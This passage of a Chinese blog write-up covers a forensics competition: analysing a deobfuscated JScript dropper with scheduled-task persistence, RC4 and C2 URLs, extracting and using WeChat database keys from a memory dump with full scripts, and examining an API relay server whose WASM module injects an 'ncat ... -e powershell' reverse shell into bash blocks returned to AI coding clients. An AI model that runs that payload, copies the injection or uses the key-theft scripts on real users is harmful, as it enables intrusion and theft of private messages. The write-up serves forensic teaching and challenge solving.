action.WorkingDirectory = workingDir; folder.RegisterTaskDefinition (taskName, task, 6 , "" , "" , 3 ); return true ; } catch (e) { return false ; } }function deleteScheduledTask (taskName ) { try { var service = WScript .CreateObject ("Schedule.Service" ); service.Connect (); var folder = service.GetFolder (TASK_FOLDER ); var tasks = folder.GetTasks (0 ); if (tasks.count >= 0 ) { var enumerator = new Enumerator (tasks); for (; !enumerator.atEnd (); enumerator.moveNext ()) { if (enumerator.item ().name === taskName) { folder.DeleteTask (taskName, 0 ); } } } } catch (e) { return false ; } }function cp437StringToBytes (text ) { var bytes = []; for (var i = 0 ; i < text.length ; i++) { var charCode = text.charCodeAt (i); if (charCode >= 128 ) { var mapped = CP437 _UNICODE_TO_BYTE["" + toHexString (charCode)]; charCode = fromHexString (mapped); } bytes.push (charCode); } return bytes; }function saveLatin1StringToFile (text, path ) { var stream = WScript .CreateObject ("ADODB.Stream" ); stream.Type = 2 ; stream.Charset = "iso-8859-1" ; stream.Open (); stream.WriteText (text); stream.Flush (); stream.Position = 0 ; stream.SaveToFile (path, 2 ); stream.Close (); }function resolveInstallDirectory ( ) { installDir = "c:\\Users\\" + currentUsername + "\\AppData\\Local\\Microsoft\\Windows\\" ; if (!fileSystem.FolderExists (installDir)) { installDir = "c:\\Users\\" + currentUsername + "\\AppData\\Local\\Temp\\" ; } if (!fileSystem.FolderExists (installDir)) { installDir = "c:\\Documents and Settings\\" + currentUsername + "\\Application Data\\Microsoft\\Windows\\" ; } return installDir; }function rc4String (key, data ) { var state = []; var j = 0 ; var tmp; var output = "" ; for (var i = 0 ; i < 256 ; i++) { state[i] = i; } for (i = 0 ; i < 256 ; i++) { j = (j + state[i] + key.charCodeAt (i % key.length )) % 256 ; tmp = state[i]; state[i] = state[j]; state[j] = tmp; } i = 0 ; j = 0 ; for (var k = 0 ; k < data.length ; k++) { i = (i + 1 ) % 256 ; j = (j + state[i]) % 256 ; tmp = state[i]; state[i] = state[j]; state[j] = tmp; output += String .fromCharCode (data[k] ^ state[(state[i] + state[j]) % 256 ]); } return output; }
跟一下即可找到硬编码的key,有引用:
3. 请接上题,释放并删除的文件是什么? 【答案格式:abc.py】
maintools.js
去混淆之前叫OBKHLrC3vEDjVL,截取的代码逻辑在这里:
Kill DroppedFilePath `DroppedFilePath = TargetFolderPath & "\" & "maintools.js"
4. 请接上题,该文件用的是什么语言? 【答案格式:JavaScript】
JScript
根据上面解出的脚本可以看出是jscript
JavaScript:由 Netscape 推出的脚本语言,后来标准化为 ECMAScript
JScript:微软对 ECMAScript/JavaScript 的实现名称,主要用于早期 Internet Explorer 和 Windows Script Host
5. 请接上题,分配给命令行参数的变量叫什么名字? 【答案格式:abc3】
wvy1
stage1这里使用了WScript.Arguments,这个是 Windows Script Host 提供的命令行参数集合 WScript.Arguments 拿到脚本启动时传进来的所有参数, wvy1(0) 取第 1 个参数(这个参数后续用于了解密)
try{var wvy1 = WScript.Arguments;var ssWZ = wvy1(0);var ES3c = y3zb();ES3c = LXv5(ES3c);ES3c = CpPT(ssWZ,ES3c);eval(ES3c); }catch (e)
6. 请接上题,哪个函数返回下一阶段代码(即第一轮混淆代码)? 【答案格式:abc3】
y3zb
看stage1这里,最后用调用了y3zb函数,传入加密的qGxZ变量
7. 请接上题,可以使用哪个Windows脚本主机程序在命令行模式下执行该脚本? 【答案格式:wscript.exe】
cscript
命令行模式下执行 Windows Script Host 脚本用的是 cscript.exe,wscript.exe是图像方式。
8. 请接上题,请提取出所有硬编码的C2(Command & Control)服务器域名? 【答案格式:www.baidu.com、www.gogle.com,按照在代码中出现的顺序排序】
http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php、http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php
9. 请接上题,当C2服务器返回“work”指令时,脚本下载并执行的最终文件扩展名是什么? 【答案格式:exe】
plf
跟进downloadandexecute函数: 所以是pif
10. 请接上题,如果与C2通信失败,脚本会调用哪个函数尝试自毁并清理痕迹? 【答案格式:Aabc】
tbMu
还是刚刚的这个判断逻辑这里 去混淆之前叫tbMu()
内存取证 简单的内存取证,lovelymem都可以做,我写一下用vol手搓的过程:
1. 请分析倩倩的PC内存镜像,识别当前正在运行且持有微信数据库解密密钥的微信进程,并提取该进程的进程标识符(PID)? (答案格式:1234)
10892
先看一下windows.info:
pslist看weixin.exe相关的进程:
10892 6736 Weixin.exe 0x900a5ae0b080 115 - 1 False 2026-04-03 01:45:09.000000 UTC N/A Disabled 2444 10892 Weixin.exe 0x900a56cd8080 14 - 1 False 2026-04-03 01:47:17.000000 UTC N/A Disabled 10544 11532 WeChatAppEx.ex 0x900a4e1bf340 21 - 1 False 2026-04-03 01:47:17.000000 UTC N/A Disabled 16996 10892 Weixin.exe 0x900a572d50c0 19 - 1 False 2026-04-03 01:47:17.000000 UTC N/A Disabled 10880 10892 Weixin.exe 0x900a5bb1c340 10 - 1 False 2026-04-03 01:47:17.000000 UTC N/A Disabled 3944 10892 Weixin.exe 0x900a77441300 15 - 1 False 2026-04-03 01:47:17.000000 UTC N/A Disabled
最高的一个pid是10892
2. 请分析倩倩的PC内存镜像,请尝试解密微信数据库并写出message_0.db对应的微信密钥?
b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa
首先我们先确定微信的版本,在微信3.x及以前主进程叫 WeChat.exe,在4之后,主进程改名变成 Weixin.exe,所以这里根据进程名确定是4.x的版本
可以在github上找到对应的加密算法:
接下来我们从weixin.exe的minidump中提取微信密钥 先dump完整进程:
vol -f DESKTOP-3943OKD-20260403-014746.dmp windows.memmap --pid 10892 --dump
前面说缓存的raw key有固定的格式,那么我们从minidump中使用正则匹配一下,re.compile(rb"[xX]'([a-fA-F0-9]{64})([a-fA-F0-9]{32})'") 写个脚本提取所有符合条件的:
import mmapimport osimport refrom typing import List , Set , Tuple DUMP_FILE = "pid.10892.dmp" KEY_PATTERN = re.compile (rb"[xX]'([a-fA-F0-9]{64})([a-fA-F0-9]{32})'" )def dump_file_exists (path: str ) -> bool : return os.path.isfile(path)def extract_key_pairs (path: str ) -> List [Tuple [str , str ]]: unique_pairs: List [Tuple [str , str ]] = [] seen_pairs: Set [Tuple [str , str ]] = set () with open (path, "rb" ) as file_obj: with mmap.mmap(file_obj.fileno(), length=0 , access=mmap.ACCESS_READ) as memory_map: for match in KEY_PATTERN.finditer(memory_map): raw_key = match .group(1 ).decode("ascii" ).lower() salt = match .group(2 ).decode("ascii" ).lower() pair = (raw_key, salt) if pair in seen_pairs: continue seen_pairs.add(pair) unique_pairs.append(pair) return unique_pairsdef render_results (results: List [Tuple [str , str ]] ) -> None : if not results: print ("[-] No matching 96-byte key pattern was found." ) return print (f"[+] Found {len (results)} unique key pair(s).\n" ) print (f"{'No.' :<4 } | {'Derived Raw Key (64 Hex)' :<64 } | {'Salt (32 Hex)' :<32 } " ) print ("-" * 110 ) for index, (raw_key, salt) in enumerate (results, start=1 ): print (f"{index:02d} | {raw_key} | {salt} " )def main () -> None : if not dump_file_exists(DUMP_FILE): print (f"[-] Dump file not found: {DUMP_FILE} " ) return results = extract_key_pairs(DUMP_FILE) render_results(results)if __name__ == "__main__" : main()
接下来我们再去把message_0.db数据库拿出来: 地址是0x900a6ae88140
vol -o E:\Admin\Desktop\mem -f mem.dmp windows.dumpfiles --virtaddr 0x900a6ae88140
每个数据库的开头,会记录加密的salt,这个和前面我们提取出来的对比一下,发现是第二个key 至此,我们已经拿到了这个db的密码,接下来根据加密逻辑把它还原即可
这里的解密脚本参考了yolo师傅的思路:
import osfrom Crypto.Cipher import AES DATABASE_FILE = "message_0.db" DECRYPTED_FILE = "message_0_decrypted.db" PAGE_SIZE = 4096 RESERVED_BYTES = 80 IV_SIZE = 16 RAW_KEY_HEX = "b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa" SQLITE_HEADER = b"SQLite format 3\x00" WCDB_FINGERPRINT = b"\x40\x20\x20" def decrypt_page (encrypted_page: bytes , is_first_page: bool , key: bytes ) -> bytes : iv_offset = PAGE_SIZE - RESERVED_BYTES iv = encrypted_page[iv_offset:iv_offset + IV_SIZE] if is_first_page: encrypted_content = encrypted_page[16 :iv_offset] else : encrypted_content = encrypted_page[0 :iv_offset] cipher = AES.new(key, AES.MODE_CBC, iv) return cipher.decrypt(encrypted_content)def validate_first_page (decrypted_data: bytes ) -> bool : return decrypted_data[5 :8 ] == WCDB_FINGERPRINTdef write_first_page (output_file, decrypted_data: bytes ) -> None : output_file.write(SQLITE_HEADER + decrypted_data + b"\x00" * RESERVED_BYTES)def write_regular_page (output_file, decrypted_data: bytes ) -> None : output_file.write(decrypted_data + b"\x00" * RESERVED_BYTES)def decrypt_wcdb_database ( input_path: str = DATABASE_FILE, output_path: str = DECRYPTED_FILE, raw_key_hex: str = RAW_KEY_HEX, ) -> None : if not os.path.exists(input_path): print (f"Error: file not found: {input_path} " ) return key = bytes .fromhex(raw_key_hex) page_count = 0 with open (input_path, "rb" ) as source, open (output_path, "wb" ) as target: print (f"Starting decryption: {input_path} " ) first_page = source.read(PAGE_SIZE) if not first_page: print ("Error: input file is empty." ) return decrypted_first_page = decrypt_page(first_page, is_first_page=True , key=key) if not validate_first_page(decrypted_first_page): print ("Fingerprint verification failed." ) return print ("Fingerprint verified. Decrypting entire database..." ) write_first_page(target, decrypted_first_page) page_count += 1 while True : page = source.read(PAGE_SIZE) if not page: break decrypted_page = decrypt_page(page, is_first_page=False , key=key) write_regular_page(target, decrypted_page) page_count += 1 print (f"\nDecryption completed successfully. Processed {page_count} pages." ) print (f"Output saved to: {output_path} " )if __name__ == "__main__" : decrypt_wcdb_database()
我们写脚本的时候需要这样处理
读取4096字节:这是微信数据库的table’页’大小,每次解密处理需要先分页面
确定IV:在每一页的最后80个字节里,前16个字节是IV(初始化向量),至于剩余部分,就是HMAC哈希校验,不用处理
提取密文:将每一页的最前面16字节(我们比对key时候见到的那个salt),还有最后面的80字节删除,剩余部分就是密文内容
调用AES解密工具,需要用到的key和IV我们都拿到了
修复第一页:数据库的第一页相对来说比较特殊,解密后前面是空的,需要我们手动将SQLite的魔数头补充上
成功解密 所以对应的密钥是:b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa
3. 请分析倩倩的PC内存镜像,请找到正在运行的木马进程的进程标识符(PID) (答案格式:1233)
7348
根据前面的取证结果,可以知道木马的名字是Haimuniu_VPN_C:
4. 请分析倩倩的PC内存镜像,请找到正在运行的木马进程的创建时间(UTC)? (答案格式:2026-01-01 01:11:11)
2026-04-03 01:46:44
同上题,pslist里面可以看见
5. 请分析倩倩的PC内存镜像,结合木马分析找出内存中回连的C2木马服务器的真实ip? (答案格式:127.0.0.1:8080)
156.238.239.253:7000
windows.netstat
服务器取证 1. 分析服务器镜像,内核版本为? 【答案格式:5.10-301-generic】
6.8.0-107-generic
2. 分析服务器镜像,用户登录成功系统的次数为? 【答案格式:3】
10
火眼直接解析出来9个,仿真起来用last看: 实际上是少了第一条记录,从14:40-crash的记录,火眼没有把这一条崩溃的记录解析进去。
3. 分析服务器镜像, redis数据库服务密码是多少? 【答案格式: abcdef】
zjjcxy
/home/zaoqiwang/claude-relay-service/.env里面可以看到
4. 分析服务器镜像, api站点后台管理员密码所用的加密算法为? 【答案格式: bcrypt】
argon2
把/home下面的源码拿来分析一下逻辑,找加密的位置,还有注释,也是很明显:
5. 分析服务器镜像, api站点后台管理员密码为(使用rockyou字典爆破,密码格式b1?????b,?为数字)? 【答案格式: a123456a】
b123321b
跟一下后续的逻辑,发现是储存在data里面了 在data里面找到管理员hash: 结合题意爆破即可:b123321b
6. 分析服务器镜像,登录api网站后台,后台通知设置里的超时事件(毫秒)为? 【答案格式:10000】
114514
接下来尝试重构网站,机器上没有docker,那应该是源码用npm启动的(可以从entrypoint.sh和package.json看出) 题解说机器上有npm,然而我做的时候并没有。。。
apt自己装一下npm和nodejs,然后node src/app.js启动,登录后台http://192.168.5.162:3000/admin-next/login
7. 分析服务器镜像,登录api网站后台,查询总Token消耗数量为? 【答案格式:999.9K】
474.2K
重构好了就很简单了:
8. 分析服务器镜像,登录api网站后台,查询最早创建apikey的时间为? 【答案格式:2026-01-01T13:11:22.190Z】
2026-04-01T11:11:07.535Z
重构起来没有,那就考虑去看日志,claude-relay-service\logs\service.log, 找到apikey相关的接口:
GET /admin/api-keys?page=1&pageSize=10&searchMode=apiKey&sortBy=createdAt&sortOrder=desc&timeRange=today 7ms 0B
里面和时间有关的是createdAt参数,意思很明显就是创建时间,我们爆搜这个字段 最早的是这个时间:2026-04-01T11:11:07.535Z
9. 分析服务器镜像,编写脚本,通过调用inject_bash_blocks函数,确定恶意投毒的payload。 (提示:输入一段包含 bash 块的文本)【答案格式:a.exe 192.168.1.122-i hello】
ncat.exe 156.238.239.253 1314 -e powershell
这个我觉得很有意思,结合了目前api中转及中转投毒的热点,是一个值得学习和防范的东西。
wasm是WebAssembly的缩写,可以用C/C++或者Rust编译而来。先找到这个wasm产物:
仔细看一下这个同目录下的js,主要负责了.wasm文件的加载,并把js的数据进行处理传递给.wasm,在这里可以看出来: 题目说的函数在这里实现,根据题意写个脚本调用一下这个函数,有点像黑盒测试的意思
const wasm = require ('./bash_block_injector.js' )const input = '```bash\necho hello\n```' const output = wasm.inject_bash_blocks (input)console .log ('输入:' )console .log (input)console .log ('\n输出:' )console .log (output)console .log ('\n差异(注入内容):' )const inputLines = input.split ('\n' )const outputLines = output.split ('\n' )for (const line of outputLines) { if (!inputLines.includes (line)) { console .log (' > ' + line) } }
这样子就实现了在ai的输出中注入一个nc命令来投毒。
10. 接上题,should_inject_for_ua(ua,ip)对UA字符串有过滤条件,只有特定UA才会进入后续判断。请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词。 【答案格式:1】【提示:备选项: cur1、openclaw、mozilla、wget、httpx、claude、requests、bot、crawler】
2
接上题,很明显,should_inject_for_ua(ua,ip)这个函数的作用是判断那些ua参数要进行注入,写脚本的思路也很清晰,每个ua都试一下,看看会不会有注入即可。
const path = require ('path' )const mod = require (path.join (__dirname, 'pkg' , 'bash_block_injector.js' ))const candidates = ['cur1' , 'openclaw' , 'mozilla' , 'wget' , 'httpx' , 'claude' , 'requests' , 'bot' , 'crawler' ]const ips = []for (let a = 1 ; a <= 50 ; a++) { for (let b = 1 ; b <= 50 ; b++) { ips.push (`${a} .${b} .7.1` ) } }function hitKeyword (keyword ) { const uas = [ keyword, `${keyword} /1.0` , `Mozilla/5.0 ${keyword} ` ] for (const ua of uas) { for (const ip of ips) { if (mod.should_inject_for_ua (ua, ip)) { return { ua, ip } } } } return null }const matched = []for (const keyword of candidates) { const hit = hitKeyword (keyword) if (hit) { matched.push (keyword) console .log (`${keyword} : true via UA="${hit.ua} ", IP=${hit.ip} ` ) } else { console .log (`${keyword} : false` ) } }console .log (`COUNT=${matched.length} ` )console .log (`MATCHED=${matched.join(',' )} ` )
所以是2个
11. 接上题,只有当同一IP的上次请求距今足够近时,才会进入概率判断。请编写脚本确定这个时间窗口的阈值(单位: ms)。 【答案格式:100,注意,只保留整百的,四舍五入】【提示:必须控制变量,每次实验使用一批全新的IP,先统一记录时间戳,再等待固定间隔后统一检测,不可在等待期间更新同一IP的时间戳,否则会刷新计时,从0ms到1000ms逐步探测,找到从“命中”变为“不命中”的临界间隔,建议每个间隔值使用≥200个IP以消除概率干扰。】
500ms
剩下这两题就比较迷,不知道在考什么,考程序设计吗?跟我gpt说去吧。
const path = require ('path' )const mod = require (path.join (__dirname, 'pkg' , 'bash_block_injector.js' ))const UA = 'claude-cli/1.0' const BATCH_SIZE = 1000 const DELAYS = [0 , 100 , 200 , 300 , 400 , 450 , 480 , 490 , 500 , 510 , 520 , 600 , 700 , 800 , 900 , 1000 ]const sleep = ms => new Promise (resolve => setTimeout (resolve, ms))function makeIps (batchId, count ) { const ips = [] for (let i = 0 ; i < count; i++) { const a = ((batchId * 17 ) % 200 ) + 1 const b = ((batchId * 31 ) % 200 ) + 1 const c = (Math .floor (i / 250 ) % 200 ) + 1 const d = (i % 250 ) + 1 ips.push (`${a} .${b} .${c} .${d} ` ) } return ips }async function runDelay (delay, batchId ) { const ips = makeIps (batchId, BATCH_SIZE ) for (const ip of ips) mod.should_inject_for_ua (UA , ip) await sleep (delay) let hits = 0 for (const ip of ips) { if (mod.should_inject_for_ua (UA , ip)) hits++ } return { delay, hits, total : ips.length , ratio : hits / ips.length } }async function main ( ) { const results = [] for (let i = 0 ; i < DELAYS .length ; i++) { const result = await runDelay (DELAYS [i], i + 1 ) results.push (result) console .log (`delay=${result.delay} ms hits=${result.hits} /${result.total} ratio=${result.ratio.toFixed(4 )} ` ) } const lastHit = [...results].reverse ().find (r => r.hits > 0 ) const firstZeroAfterHit = results.find (r => lastHit && r.delay > lastHit.delay && r.hits === 0 ) if (lastHit) console .log (`LAST_HIT_DELAY=${lastHit.delay} ` ) if (firstZeroAfterHit) console .log (`FIRST_ZERO_AFTER_HIT=${firstZeroAfterHit.delay} ` ) const thresholdGuess = firstZeroAfterHit ? firstZeroAfterHit.delay : (lastHit ? lastHit.delay : 0 ) console .log (`ROUNDED_THRESHOLD=${Math .round(thresholdGuess / 100 ) * 100 } ` ) }main ().catch (err => { console .error (err) process.exit (1 ) })
12. 接上题,在UA条件和IP时间条件均满足的前提下,函数仍有一定概率返回false。请编写脚本估算触发概率,并推算概率1/N(即理论上平均每N次满足前两个条件的调用才触发一次】。 【答案格式:10,格式只保留整十】【提示:建议样本量不少于10000次有效检测(UA条件满足+IP时间条件满足),不然四舍五入会出现进位问题。】
50
const path = require ('path' )const mod = require (path.join (__dirname, 'pkg' , 'bash_block_injector.js' ))const UA = 'claude-cli/1.0' const DELAY_MS = 100 const SAMPLE_SIZE = 20000 const sleep = ms => new Promise (resolve => setTimeout (resolve, ms))function makeIps (count ) { const ips = [] for (let i = 0 ; i < count; i++) { const a = (Math .floor (i / 40000 ) % 200 ) + 1 const b = (Math .floor (i / 200 ) % 200 ) + 1 const c = (Math .floor (i / 250 ) % 200 ) + 1 const d = (i % 250 ) + 1 ips.push (`${a} .${b} .${c} .${d} ` ) } return ips }async function main ( ) { const ips = makeIps (SAMPLE_SIZE ) for (const ip of ips) mod.should_inject_for_ua (UA , ip) await sleep (DELAY_MS ) let hits = 0 for (const ip of ips) { if (mod.should_inject_for_ua (UA , ip)) hits++ } const probability = hits / SAMPLE_SIZE const averageN = hits > 0 ? SAMPLE_SIZE / hits : Infinity console .log (`UA=${UA} ` ) console .log (`DELAY_MS=${DELAY_MS} ` ) console .log (`HITS=${hits} ` ) console .log (`TOTAL=${SAMPLE_SIZE} ` ) console .log (`PROBABILITY=${probability} ` ) console .log (`AVERAGE_N=${averageN} ` ) console .log (`ROUNDED_N=${Math .round(averageN / 10 ) * 10 } ` ) }main ().catch (err => { console .error (err) process.exit (1 ) })
文章作者: Xiaohao
文章链接: https://blog.enxiaohao.cn/posts/Forensics/2026phbgroupwp/
版权声明:除另有声明外,本博客文章均采用 CC BY-NC-SA 4.0 许可协议。转载请注明原作者与文章出处。